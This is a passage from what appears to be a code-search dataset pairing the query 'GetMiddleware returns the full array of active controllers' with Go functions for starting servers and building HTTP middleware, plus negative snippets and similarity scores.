{\\n\\t\\treqPort := os.Args[1]\\n\\t\\tif reqPort != \\\"\\\" {\\n\\t\\t\\tport = reqPort\\n\\t\\t}\\n\\t}\\n\\n\\tif port == \\\"\\\" {\\n\\t\\tport = \\\"8080\\\" //localhost\\n\\t}\\n\\ttype Job interface {\\n\\t\\tRun()\\n\\t}\\n\\n\\tr.Run(\\\":\\\" + port)\\n}\",\n \"func (s *server) Run(ctx context.Context) {\\n\\tif s.banner {\\n\\t\\tfmt.Printf(\\\"%s\\\\n\\\\n\\\", config.Banner)\\n\\t}\\n\\n\\tet, err := NewEchoTCP(s.address, s.verbose)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err) // exit if creating EchoTCP is failed.\\n\\t}\\n\\tdefer et.listener.Close()\\n\\n\\tfmt.Printf(\\\"server is started at %s\\\\n\\\", s.address)\\n\\tet.Run(ctx)\\n}\",\n \"func (s httpServer) Run(h http.Handler) {\\n\\ts.srv.Handler = h\\n\\tgo s.srv.ListenAndServe()\\n}\",\n \"func start (args *Args) (bool) {\\n \\n // initialization\\n config := config.Initialize(args.Get(\\\"-f\\\"))\\n \\n // Set log Level and log file path\\n log.SetLevel(log.Level(config.Log.Level))\\n log.SetOutput(config.Log.Path)\\n \\n // create a server instance\\n server := New(config)\\n \\n log.Infof(\\\"Socks5 server is starting....\\\\n\\\")\\n\\n // Start the server \\n if (server.Start() != true) {\\n log.Errorf(\\\"Statring socks failed\\\\n\\\")\\n return false\\n }\\n \\n return true\\n}\",\n \"func main() {\\n\\tif err := cmd.RunServer(); err != nil {\\n\\t\\tfmt.Fprintf(os.Stderr, \\\"%v\\\\n\\\", err)\\n\\t\\tos.Exit(1)\\n\\t}\\n}\",\n \"func (app *Application) Run() {\\n\\terr := app.Server.ListenAndServe()\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t}\\n}\",\n \"func (server Server) Run() error {\\n\\terr := server.supervisor.SpawnClient()\\n\\tif err != nil {\\n\\t\\tserver.logger.Fatalf(\\\"Error in starting client: %s\\\", err)\\n\\t}\\n\\n\\tgo listenForSMS(server.upstreamChannel, server.logger)\\n\\tserver.logger.Info(\\\"Listening for SMS\\\")\\n\\tserver.logger.Info(\\\"Starting Webserver\\\")\\n\\n\\treturn server.webserver.Server.ListenAndServe()\\n}\",\n \"func main() {\\n\\t// Make websocket\\n\\tlog.Println(\\\"Starting sync server\\\")\\n\\n\\t// TODO: Use command line flag credentials.\\n\\tclient, err := db.NewClient(\\\"localhost:28015\\\")\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Couldn't initialize database: \\\", err.Error())\\n\\t}\\n\\tdefer client.Close()\\n\\n\\trouter := sync.NewServer(client)\\n\\n\\t// Make web server\\n\\tn := negroni.Classic()\\n\\tn.UseHandler(router)\\n\\tn.Run(\\\":8000\\\")\\n}\",\n \"func (s *Server) Run() error {\\n\\treturn s.server.ListenAndServe()\\n}\",\n \"func (server *Server) Run(env string) error {\\n\\n\\t// load configuration\\n\\tj := config.LoadJWT(env)\\n\\n\\tr := gin.Default()\\n\\n\\t// middleware\\n\\tmw.Add(r, cors.Default())\\n\\tjwt := mw.NewJWT(j)\\n\\tm := mail.NewMail(config.GetMailConfig(), config.GetSiteConfig())\\n\\tmobile := mobile.NewMobile(config.GetTwilioConfig())\\n\\tdb := config.GetConnection()\\n\\tlog, _ := zap.NewDevelopment()\\n\\tdefer log.Sync()\\n\\n\\t// setup default routes\\n\\trsDefault := &route.Services{\\n\\t\\tDB: db,\\n\\t\\tLog: log,\\n\\t\\tJWT: jwt,\\n\\t\\tMail: m,\\n\\t\\tMobile: mobile,\\n\\t\\tR: r}\\n\\trsDefault.SetupV1Routes()\\n\\n\\t// setup all custom/user-defined route services\\n\\tfor _, rs := range server.RouteServices {\\n\\t\\trs.SetupRoutes()\\n\\t}\\n\\n\\tport, ok := os.LookupEnv(\\\"PORT\\\")\\n\\tif !ok {\\n\\t\\tport = \\\"8080\\\"\\n\\t}\\n\\n\\t// run with port from config\\n\\treturn r.Run(\\\":\\\" + port)\\n}\",\n \"func (f *Flame) Run(args ...interface{}) {\\n\\thost := \\\"0.0.0.0\\\"\\n\\tport := \\\"2830\\\"\\n\\n\\tif addr := os.Getenv(\\\"FLAMEGO_ADDR\\\"); addr != \\\"\\\" {\\n\\t\\tfields := strings.SplitN(addr, \\\":\\\", 2)\\n\\t\\thost = fields[0]\\n\\t\\tport = fields[1]\\n\\t}\\n\\n\\tif len(args) == 1 {\\n\\t\\tswitch arg := args[0].(type) {\\n\\t\\tcase string:\\n\\t\\t\\thost = arg\\n\\t\\tcase int:\\n\\t\\t\\tport = strconv.Itoa(arg)\\n\\t\\t}\\n\\t} else if len(args) >= 2 {\\n\\t\\tif arg, ok := args[0].(string); ok {\\n\\t\\t\\thost = arg\\n\\t\\t}\\n\\t\\tif arg, ok := args[1].(int); ok {\\n\\t\\t\\tport = strconv.Itoa(arg)\\n\\t\\t}\\n\\t}\\n\\n\\taddr := host + \\\":\\\" + port\\n\\tlogger := f.Value(reflect.TypeOf(f.logger)).Interface().(*log.Logger)\\n\\tlogger.Printf(\\\"Listening on %s (%s)\\\\n\\\", addr, Env())\\n\\n\\tserver := &http.Server{\\n\\t\\tAddr: addr,\\n\\t\\tHandler: f,\\n\\t}\\n\\tgo func() {\\n\\t\\tif err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\\n\\t\\t\\tlogger.Fatalln(err)\\n\\t\\t}\\n\\t}()\\n\\n\\t<-f.stop\\n\\n\\tif err := server.Shutdown(gocontext.Background()); err != nil {\\n\\t\\tlogger.Fatalln(err)\\n\\t}\\n\\tlogger.Println(\\\"Server stopped\\\")\\n}\",\n \"func Run(c *Config) {\\n\\tlog.Print(\\\"Starting Ngao server\\\")\\n\\tlog.Printf(\\\"Listening on '%s', Serving: %s://%s\\\",\\n\\t\\tc.ListenAddr, c.Scheme, c.Host)\\n\\tlog.Printf(\\\"Max sessions: %d. Older sessions cleared every: %d secs\\\",\\n\\t\\tc.TotalAllowed, c.ClearInterval)\\n\\n\\ttotalAllowed = c.TotalAllowed\\n\\tclearInterval = c.ClearInterval\\n\\tinitConf()\\n\\n\\tvar wg sync.WaitGroup\\n\\twg.Add(1)\\n\\tgo func() {\\n\\t\\trProxy(c.ListenAddr, c.Host, c.Scheme)\\n\\t\\twg.Done()\\n\\t}()\\n\\twg.Add(1)\\n\\tgo func() {\\n\\t\\t// Launch session queues manager\\n\\t\\tmanager()\\n\\t\\twg.Done()\\n\\t}()\\n\\twg.Wait()\\n}\",\n \"func (s *Server) Run(addr string) error {\\n\\tsvr := s.prepare(addr)\\n\\ts.logger.Info(\\\"start server\\\")\\n\\treturn svr.ListenAndServe()\\n}\",\n \"func main() {\\n\\t// ****************************************\\n\\t// ********** Create Exporter *************\\n\\t// ****************************************\\n\\n\\t// Export trace to stdout\\n\\texporter := rkgintrace.CreateFileExporter(\\\"stdout\\\")\\n\\n\\t// Export trace to local file system\\n\\t// exporter := rkgintrace.CreateFileExporter(\\\"logs/trace.log\\\")\\n\\n\\t// Export trace to jaeger collector\\n\\t// exporter := rkgintrace.CreateJaegerExporter(\\\"localhost:14268\\\", \\\"\\\", \\\"\\\")\\n\\n\\t// ********************************************\\n\\t// ********** Enable interceptors *************\\n\\t// ********************************************\\n\\tinterceptors := []gin.HandlerFunc{\\n\\t\\trkginlog.Interceptor(),\\n\\t\\trkgintrace.Interceptor(\\n\\t\\t\\t// Entry name and entry type will be used for distinguishing interceptors. Recommended.\\n\\t\\t\\t// rkgintrace.WithEntryNameAndType(\\\"greeter\\\", \\\"grpc\\\"),\\n\\t\\t\\t//\\n\\t\\t\\t// Provide an exporter.\\n\\t\\t\\trkgintrace.WithExporter(exporter),\\n\\t\\t//\\n\\t\\t// Provide propagation.TextMapPropagator\\n\\t\\t// rkgintrace.WithPropagator(),\\n\\t\\t//\\n\\t\\t// Provide SpanProcessor\\n\\t\\t// rkgintrace.WithSpanProcessor(),\\n\\t\\t//\\n\\t\\t// Provide TracerProvider\\n\\t\\t// rkgintrace.WithTracerProvider(),\\n\\t\\t),\\n\\t}\\n\\n\\t// 1: Create gin server\\n\\tserver := startGreeterServer(interceptors...)\\n\\tdefer server.Shutdown(context.TODO())\\n\\n\\t// 2: Wait for ctrl-C to shutdown server\\n\\trkentry.GlobalAppCtx.WaitForShutdownSig()\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7117063","0.7049765","0.7015678","0.6923607","0.6905087","0.6871585","0.6849173","0.68238467","0.6785487","0.676817","0.6743881","0.66145563","0.6595219","0.6580101","0.65321547","0.64899683","0.64123374","0.63941836","0.6386117","0.63856804","0.6370186","0.63537776","0.63313764","0.63233536","0.63214415","0.6310626","0.63101006","0.6298768","0.62936014","0.6288825","0.62534463","0.6253289","0.6233046","0.6232639","0.6231554","0.62246704","0.61978346","0.6191558","0.6186578","0.61862963","0.61859393","0.6182798","0.61767405","0.6165524","0.6149304","0.6148565","0.6144789","0.6140425","0.61232865","0.61162776","0.61109984","0.61077124","0.60838985","0.6073138","0.6065254","0.6061642","0.60614353","0.60573834","0.6050892","0.6047189","0.6037995","0.6030211","0.6026758","0.6026445","0.6024795","0.60185444","0.6017469","0.60102355","0.60102105","0.6009089","0.6005283","0.600504","0.6002763","0.5995293","0.59933007","0.59831643","0.59810495","0.5980057","0.5976776","0.5973287","0.5969108","0.5968721","0.59544355","0.5949893","0.5947018","0.5943713","0.59429264","0.5938712","0.5935387","0.593441","0.59320456","0.5930548","0.59300965","0.5926497","0.5926325","0.592429","0.5904704","0.59002656","0.5893701","0.58901787"],"string":"[\n \"0.7117063\",\n \"0.7049765\",\n \"0.7015678\",\n \"0.6923607\",\n \"0.6905087\",\n \"0.6871585\",\n \"0.6849173\",\n \"0.68238467\",\n \"0.6785487\",\n \"0.676817\",\n \"0.6743881\",\n \"0.66145563\",\n \"0.6595219\",\n \"0.6580101\",\n \"0.65321547\",\n \"0.64899683\",\n \"0.64123374\",\n \"0.63941836\",\n \"0.6386117\",\n \"0.63856804\",\n \"0.6370186\",\n \"0.63537776\",\n \"0.63313764\",\n \"0.63233536\",\n \"0.63214415\",\n \"0.6310626\",\n \"0.63101006\",\n \"0.6298768\",\n \"0.62936014\",\n \"0.6288825\",\n \"0.62534463\",\n \"0.6253289\",\n \"0.6233046\",\n \"0.6232639\",\n \"0.6231554\",\n \"0.62246704\",\n \"0.61978346\",\n \"0.6191558\",\n \"0.6186578\",\n \"0.61862963\",\n \"0.61859393\",\n \"0.6182798\",\n \"0.61767405\",\n \"0.6165524\",\n \"0.6149304\",\n \"0.6148565\",\n \"0.6144789\",\n \"0.6140425\",\n \"0.61232865\",\n \"0.61162776\",\n \"0.61109984\",\n \"0.61077124\",\n \"0.60838985\",\n \"0.6073138\",\n \"0.6065254\",\n \"0.6061642\",\n \"0.60614353\",\n \"0.60573834\",\n \"0.6050892\",\n \"0.6047189\",\n \"0.6037995\",\n \"0.6030211\",\n \"0.6026758\",\n \"0.6026445\",\n \"0.6024795\",\n \"0.60185444\",\n \"0.6017469\",\n \"0.60102355\",\n \"0.60102105\",\n \"0.6009089\",\n \"0.6005283\",\n \"0.600504\",\n \"0.6002763\",\n \"0.5995293\",\n \"0.59933007\",\n \"0.59831643\",\n \"0.59810495\",\n \"0.5980057\",\n \"0.5976776\",\n \"0.5973287\",\n \"0.5969108\",\n \"0.5968721\",\n \"0.59544355\",\n \"0.5949893\",\n \"0.5947018\",\n \"0.5943713\",\n \"0.59429264\",\n \"0.5938712\",\n \"0.5935387\",\n \"0.593441\",\n \"0.59320456\",\n \"0.5930548\",\n \"0.59300965\",\n \"0.5926497\",\n \"0.5926325\",\n \"0.592429\",\n \"0.5904704\",\n \"0.59002656\",\n \"0.5893701\",\n \"0.58901787\"\n]"},"document_score":{"kind":"string","value":"0.6138664"},"document_rank":{"kind":"string","value":"48"}}},{"rowIdx":106146,"cells":{"query":{"kind":"string","value":"GetMiddleware returns the full array of active controllers"},"document":{"kind":"string","value":"func GetMiddleware() []mux.MiddlewareFunc{\n\n\t/*\n\t\tAdd all of the middleware you want active in the app to this array\n\t*/\n\tmws := []mux.MiddlewareFunc{\n\t\tGetAccessLogMiddleware(),\n\t}\n\n\treturn mws\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func GetControllers() []CreateControllerFunc {\n\treturn handlers\n}","func Middlewares() []def.Middleware {\n\treturn []def.Middleware{}\n}","func (c *DefaultApiController) Middleware() func(http.Handler) http.Handler {\n\treturn c.middleware\n}","func (mx *Mux) Middlewares() Middlewares {\n\treturn mx.middlewares.Items\n}","func (h *RateLimit) GetMiddlewares(rawConfig map[string]interface{}, referenceSpec *api.Spec) ([]router.Constructor, error) {\n\tvar rateLimitConfig rateLimitConfig\n\terr := mapstructure.Decode(rawConfig, &rateLimitConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trate, err := limiter.NewRateFromFormatted(rateLimitConfig.Limit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlimiterStore, err := h.getLimiterStore(rateLimitConfig.Policy, referenceSpec.Name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlimiterInstance := limiter.NewLimiter(limiterStore, rate)\n\treturn []router.Constructor{\n\t\tmiddleware.NewRateLimitLogger(limiterInstance, h.statsClient).Handler,\n\t\tlimiter.NewHTTPMiddleware(limiterInstance).Handler,\n\t}, nil\n}","func getAllMiddleware(router http.Handler, logger *logrus.Logger) http.Handler {\n\treturn newCorsMiddleware(\n\t\tsetContextMiddleware(\n\t\t\ttracingMiddleware( // generate request_id and context\n\t\t\t\tnewRecoveryMiddleware(logger)( // recover from panic()\n\t\t\t\t\tloggingMiddleware(logger)(\n\t\t\t\t\t\tnewRelicRecorder(\n\t\t\t\t\t\t\trouter,\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t),\n\t)\n}","func NewMiddlewares(cfg *Config, log *zap.Logger) []abcmiddleware.MiddlewareFunc {\n\tm := abcmiddleware.Middleware{\n\t\tLog: log,\n\t}\n\n\tmiddlewares := []abcmiddleware.MiddlewareFunc{}\n\n\t// Display \"abcweb dev\" build errors in the browser.\n\tif !cfg.Server.ProdLogger {\n\t\tmiddlewares = append(middlewares, web.ErrorChecker)\n\t}\n\n\t// Injects a request ID into the context of each request\n\tmiddlewares = append(middlewares, chimiddleware.RequestID)\n\n\t// Creates the derived request ID logger and sets it in the context object.\n\t// Use middleware.Log(r) to retrieve it from the context object for usage in\n\t// other middleware injected below this one, and in your controllers.\n\tmiddlewares = append(middlewares, m.RequestIDLogger)\n\n\t// Graceful panic recovery that uses zap to log the stack trace\n\tmiddlewares = append(middlewares, m.Recover)\n\n\t// Use zap logger for all routing\n\tmiddlewares = append(middlewares, m.Zap)\n\n\t// Sets response headers to prevent clients from caching\n\tif cfg.Server.AssetsNoCache {\n\t\tmiddlewares = append(middlewares, chimiddleware.NoCache)\n\t}\n\n\treturn middlewares\n}","func (a *Application) getHandler() func(ctx *fasthttp.RequestCtx) {\n\tif len(a.routers) == 1 {\n\t\treturn a.defaultRouter.Handler\n\t}\n\n\treturn a.Handler\n}","func Middleware(next HandlerFunc) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tsession, _ := GetCurrentSession(r)\n\t\tnext(session, w, r)\n\t})\n}","func (s *AppServer) Handlers() []Middleware {\n\treturn s.AppRoute.handlers\n}","func (app *Application) Middlewares() {\n\t// apply your middlewares\n\n\t// panic recovery\n\tapp.V1Use(\"*\", middlewares.Recovery())\n\tapp.V1Use(\"user\", middlewares.Session(app.Session()))\n}","func (app *App) GetHandler() http.Handler {\n\treturn app.router\n}","func (s *Service) GetMiddlewareCache(bizid int64) []*middleware.Aggregate {\n\treturn s.bizMiddlewareCache[bizid]\n}","func toMiddleware(m []interface{}) []MiddleWare {\n\tvar stack []MiddleWare\n\tif len(m) > 0 {\n\t\tfor _, f := range m {\n\t\t\tswitch v := f.(type) {\n\t\t\tcase func(http.ResponseWriter, *http.Request):\n\t\t\t\tstack = append(stack, mutate(http.HandlerFunc(v)))\n\t\t\tcase func(http.Handler) http.Handler:\n\t\t\t\tstack = append(stack, v)\n\t\t\tdefault:\n\t\t\t\tfmt.Println(\"[x] [\", reflect.TypeOf(v), \"] is not a valid MiddleWare Type.\")\n\t\t\t}\n\t\t}\n\t}\n\treturn stack\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}","func ActiveMiddleware(ctx iris.Context) {\n\tactive, err := isActive(ctx)\n\tif err != nil {\n\t\tctx.StatusCode(http.StatusInternalServerError)\n\t\tctx.JSON(jsonError{Error: err.Error()})\n\t\tctx.StopExecution()\n\t\treturn\n\t}\n\tif !active {\n\t\tctx.StatusCode(http.StatusUnauthorized)\n\t\tctx.JSON(jsonError{Error: \"Connexion requise\"})\n\t\tctx.StopExecution()\n\t\treturn\n\t}\n\tctx.Next()\n}","func GetAuthMiddleware(signingKey []byte) *jwtmiddleware.JWTMiddleware {\n\treturn jwtmiddleware.New(jwtmiddleware.Options{\n\t\tValidationKeyGetter: func(token *jwt.Token) (interface{}, error) {\n\t\t\treturn signingKey, nil\n\t\t},\n\t\tSigningMethod: jwt.SigningMethodHS256,\n\t})\n}","func (ac *applicationController) GetRoutes() models.Routes {\n\troutes := models.Routes{\n\t\tmodels.Route{\n\t\t\tPath: rootPath + \"/applications\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.RegisterApplication,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"PUT\",\n\t\t\tHandlerFunc: ac.ChangeRegistrationDetails,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"PATCH\",\n\t\t\tHandlerFunc: ac.ModifyRegistrationDetails,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: rootPath + \"/applications\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.ShowApplications,\n\t\t\tKubeApiConfig: models.KubeApiConfig{\n\t\t\t\tQPS: 50,\n\t\t\t\tBurst: 100,\n\t\t\t},\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: rootPath + \"/applications/_search\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.SearchApplications,\n\t\t\tKubeApiConfig: models.KubeApiConfig{\n\t\t\t\tQPS: 100,\n\t\t\t\tBurst: 100,\n\t\t\t},\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.GetApplication,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"DELETE\",\n\t\t\tHandlerFunc: ac.DeleteApplication,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.ListPipelines,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/build\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelineBuild,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/build-deploy\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelineBuildDeploy,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/promote\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelinePromote,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/deploy\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelineDeploy,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/deploykey-valid\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.IsDeployKeyValidHandler,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/deploy-key-and-secret\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.GetDeployKeyAndSecret,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/regenerate-machine-user-token\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.RegenerateMachineUserTokenHandler,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/regenerate-deploy-key\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.RegenerateDeployKeyHandler,\n\t\t},\n\t}\n\n\treturn routes\n}","func useMiddlewareHandler(h http.Handler, mw ...Middleware) http.Handler {\n\tfor i := range mw {\n\t\th = mw[len(mw)-1-i](h)\n\t}\n\n\treturn h\n}","func (client *Client) GetMiddlewareRules() ([]*mwRule.Rule, error) {\n\tresp, err := client.v3.Get(client.ctx, \"/eve/mwrules\", clientv3.WithPrefix())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trules := make([]*mwRule.Rule, 0, resp.Count)\n\tfor _, kv := range resp.Kvs {\n\t\trule, err := client.parseMwRule(kv)\n\t\tif err != nil {\n\t\t\tlog.Print(\"Error: \", err)\n\t\t\tcontinue\n\t\t}\n\t\trules = append(rules, rule)\n\t}\n\treturn rules, nil\n}","func (zm *ZipkinMiddleware) GetMiddlewareHandler() func(http.ResponseWriter, *http.Request, http.HandlerFunc) {\n\treturn func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\n\t\twireContext, err := zm.tracer.Extract(\n\t\t\topentracing.TextMap,\n\t\t\topentracing.HTTPHeadersCarrier(r.Header),\n\t\t)\n\t\tif err != nil {\n\t\t\tcommon.ServerObj.Logger.Debug(\"Error encountered while trying to extract span \", zap.Error(err))\n\t\t\tnext(rw, r)\n\t\t}\n\t\tspan := zm.tracer.StartSpan(r.URL.Path, ext.RPCServerOption(wireContext))\n\t\tdefer span.Finish()\n\t\tctx := opentracing.ContextWithSpan(r.Context(), span)\n\t\tr = r.WithContext(ctx)\n\t\tnext(rw, r)\n\t}\n}","func ClearMiddlewares() {\n\tmiddlewares = []middlewareFunc{}\n}","func Middleware() echo.MiddlewareFunc {\n\tstats.Do(func() {\n\t\tstats.init()\n\t})\n\treturn echo.WrapMiddleware(handlerFunc)\n}","func Middleware(fn AppHandler, c interface{}) AppHandler {\n\treturn func(w http.ResponseWriter, r *http.Request) *AppError {\n\t\tr = r.WithContext(context.WithValue(r.Context(), \"env\", c))\n\t\tr = r.WithContext(context.WithValue(r.Context(), \"vars\", mux.Vars(r)))\n\t\treturn fn(w, r)\n\t}\n}","func Use(filter HandlerFunc) {\n\tApp.middlewares = append(App.middlewares, filter)\n}","func (r *Router) Middleware(handles ...HandleFunc) {\n\tr.middlewareList = append(r.middlewareList, handles...)\n}","func (s *ControllerPool) GetControllerMap() []string {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\treturn s.controllerMap\n}","func NewMiddleware(backend TokenIntrospecter) *Middleware {\n\treturn &Middleware{Backend: backend}\n}","func Middleware(next http.Handler) http.Handler {\n\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\tappengineCtx := appengine.NewContext(r)\n\t\tctx := context.WithValue(r.Context(), contextKeyContext, appengineCtx)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t}\n\n\treturn http.HandlerFunc(fn)\n}","func Middleware() routes.Middleware {\n\treturn sessionMiddleware{\n\t\tsessions: make(map[string]*sessionData),\n\t}\n}","func GetGroupControllers() []CreateGroupControllerFunc {\n\treturn groupHandlers\n}","func Middleware() func(http.Handler) http.Handler {\n\treturn func(next http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t// for _, cookie := range r.Cookies() {\n\t\t\t// \tfmt.Fprint(w, cookie.Name)\n\t\t\t// \tlog.Println(cookie.Name)\n\t\t\t// }\n\t\t\t// log.Println(formatRequest(r))\n\t\t\t// log.Println(r.Cookies())\n\t\t\t// c, err := r.Cookie(\"auth-cookie\")\n\n\t\t\t// Allow unauthenticated users in\n\t\t\t// if err != nil || c == nil {\n\t\t\t// \tnext.ServeHTTP(w, r)\n\t\t\t// \treturn\n\t\t\t// }\n\n\t\t\t_, claims, err := jwtauth.FromContext(r.Context())\n\t\t\t// Allow unauthenticated users in\n\t\t\tif claims == nil || err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tnext.ServeHTTP(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tidentity := claims[\"session\"].(map[string]interface{})[\"identity\"]\n\t\t\tlog.Println(identity)\n\t\t\t// parsed, err := gabs.ParseJSON(claims)\n\t\t\t// log.Println(parsed)\n\t\t\t// log.Println(err)\n\n\t\t\tnext.ServeHTTP(w, r)\n\t\t})\n\t}\n}","func Middleware(ce *casbin.Enforcer) echo.MiddlewareFunc {\n\tc := DefaultConfig\n\tc.Enforcer = ce\n\treturn MiddlewareWithConfig(c)\n}","func (app *App) GetWithMiddleware(path string, f http.HandlerFunc) {\n\tapp.Router.Handle(path, auth.AuthMiddleware(f)).Methods(\"GET\")\n}","func Middleware(t *elasticapm.Tracer) mux.MiddlewareFunc {\n\treturn func(h http.Handler) http.Handler {\n\t\treturn &apmhttp.Handler{\n\t\t\tHandler: h,\n\t\t\tRecovery: apmhttp.NewTraceRecovery(t),\n\t\t\tRequestName: routeRequestName,\n\t\t\tTracer: t,\n\t\t}\n\t}\n}","func (s *ControllerPool) GetControllerValidators(controllerName string) []Validator {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\tif len(s.controllerValidators) == 0 {\n\t\treturn nil\n\t}\n\tvalidators, ok := s.controllerValidators[controllerName]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn validators\n\n}","func NewMiddleWare(\n\tcustomClaimsFactory CustomClaimsFactory,\n\tvalidFunction CustomClaimsValidateFunction,\n) *Middleware {\n\treturn &Middleware{\n\t\t// todo: customize signing algorithm\n\t\tSigningAlgorithm: \"HS256\",\n\t\tJWTHeaderKey: \"Authorization\",\n\t\tJWTHeaderPrefixWithSplitChar: \"Bearer \",\n\t\tSigningKeyString: GetSignKey(),\n\t\tSigningKey: []byte(GetSignKey()),\n\t\tcustomClaimsFactory: customClaimsFactory,\n\t\tvalidFunction: validFunction,\n\t\t// MaxRefresh: default zero\n\t}\n}","func (d *InfoOutput) MiddlewareServers() []any {\n\tval := d.reply[\"middleware_servers\"]\n\n\treturn val.([]any)\n\n}","func GetApplicationHandler() *mux.Router {\n\trouter := mux.NewRouter()\n\n\tsetupMiddlewares(router)\n\n\t// Connect route sets to the main router.\n\tauthRouting(router)\n\tspotifyRouting(router)\n\tchlorineRouting(router)\n\twsRouting(router)\n\n\treturn router\n}","func getCorsMiddleware() func(next http.Handler) http.Handler {\n\tcrs := cors.New(cors.Options{\n\t\tAllowedOrigins: []string{\"*\"},\n\t\tAllowedMethods: []string{\"GET\", \"POST\", \"PUT\", \"DELETE\", \"PATCH\", \"OPTIONS\"},\n\t\tAllowedHeaders: []string{\"Accept\", \"Authorization\", \"Content-Type\", \"X-CSRF-Token\"},\n\t\tAllowCredentials: true,\n\t\tMaxAge: 300, // Maximum value not ignored by any of major browsers\n\t})\n\n\treturn crs.Handler\n}","func (a *AuthMiddleware) GetAuthMiddleware() (*jwt.GinJWTMiddleware, error) {\n\tmiddleware, err := jwt.New(&jwt.GinJWTMiddleware{\n\t\tRealm: a.Realm,\n\t\tKey: a.Key,\n\t\tTimeout: a.Timeout,\n\t\tMaxRefresh: a.MaxRefresh,\n\t\tIdentityKey: a.IdentityKey,\n\t\tPayloadFunc: func(data interface{}) jwt.MapClaims {\n\t\t\tif v, ok := data.(drepository.Manager); ok {\n\t\t\t\treturn jwt.MapClaims{\n\t\t\t\t\ta.IdentityKey: v.ID,\n\t\t\t\t\t\"email\": 